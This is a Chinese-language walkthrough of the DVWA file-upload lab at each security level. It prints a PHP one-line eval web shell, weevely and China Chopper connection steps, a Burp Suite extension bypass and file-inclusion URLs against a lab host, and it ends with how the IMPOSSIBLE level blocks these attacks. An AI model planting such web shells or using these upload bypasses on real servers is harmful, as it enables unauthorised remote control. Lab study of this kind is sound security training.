LOW
low级别没有对上传的文件进行任何的检查,生成存放路径后直接移动文件,并返回上传成功与否的信息,存在明显的上传漏洞。使用Kali系统上的weevely生成木马上传,并获得木马文件路径。
在Kali中使用weevely连接
成功连接后门可以使用weevely查看系统信息,系统类型,php版本,主机名都暴露出来
进行网络端口扫描
MEDIUM
MEDIUM级别对上传文件的类型和大小做出了限制,文件类型只能为jpeg或者png,大小不超过100000Byte。
尝试修改文件后缀名为jpg,成功上传。
但是使用weevely无法连接上
使用burpsuite抓包修改文件后缀名为php,绕过后缀名的验证,成功上传。
使用weevely成功连接。
另外,也可以利用medium级别的文件包含漏洞,上传一句话木马,使用菜刀进行连接。
编写PHP一句话木马1.php
<?php
@eval($_POST["cmd"]);
?>
构造图片木马并上传DVWA
打开中国菜刀添加shell
http://192.168.29.128/DVWA-master/vulnerabilities/fi/?page=hthttp://tp://192.168.29.128/DVWA-master/hackable/uploads/hack.png
成功连接(note:DVWA的cookies设置有些问题,发送请求时总会出现两个security,导致级别不对等,无法绕过的情况,需要抓包手动删除多出的security值。)
HIGH
high级别增加了文件后缀名的检查,上传文件名后缀只能为jpg,jpeg,png这三种,所以使用修改后缀名的方式无法绕过。
getimagesize用于获取图像的大小和相关信息,如果没有对应的图像文件头,返回False。
getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
利用Medium级别里制作图片木马的方法可以绕过。修改菜刀shell为
http://192.168.29.128/DVWA-master/vulnerabilities/fi/?page=file:///xampp/htdocs/DVWA-master/hackable/uploads/hack.png
成功连接
IMPOSSIBLE
IMPOSSIBLE级别的防护非常多,除了上述防护之外,使用了checkToken()防止csrf攻击,并使用md5(),uniqid()对保存的目标文件进行重命名,使用temp_file暂存上传的文件。
md5()计算字符串MD5散列。
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
在对上传的文件进行后缀名,文件类型,大小,文件头部检查通过之后,将上传的文件使用imagecreatefromjpeg()或imagecreatefrompng()进行重新编码,去除meta-data,存储为临时文件。最后移动临时文件到目标文件夹,删除临时文件,阻断了有关上传文件漏洞的攻击。
imagecreatefrompng() 返回一图像标识符,代表了从给定的文件名取得的图像。成功后返回图象资源,失败后返回 FALSE。imagejpeg(image,filename,quality) 从image图像以filename为文件名创建一个jpeg图像。quality可选,范围从0到100,质量由差到佳。成功时返回true,失败时返回false。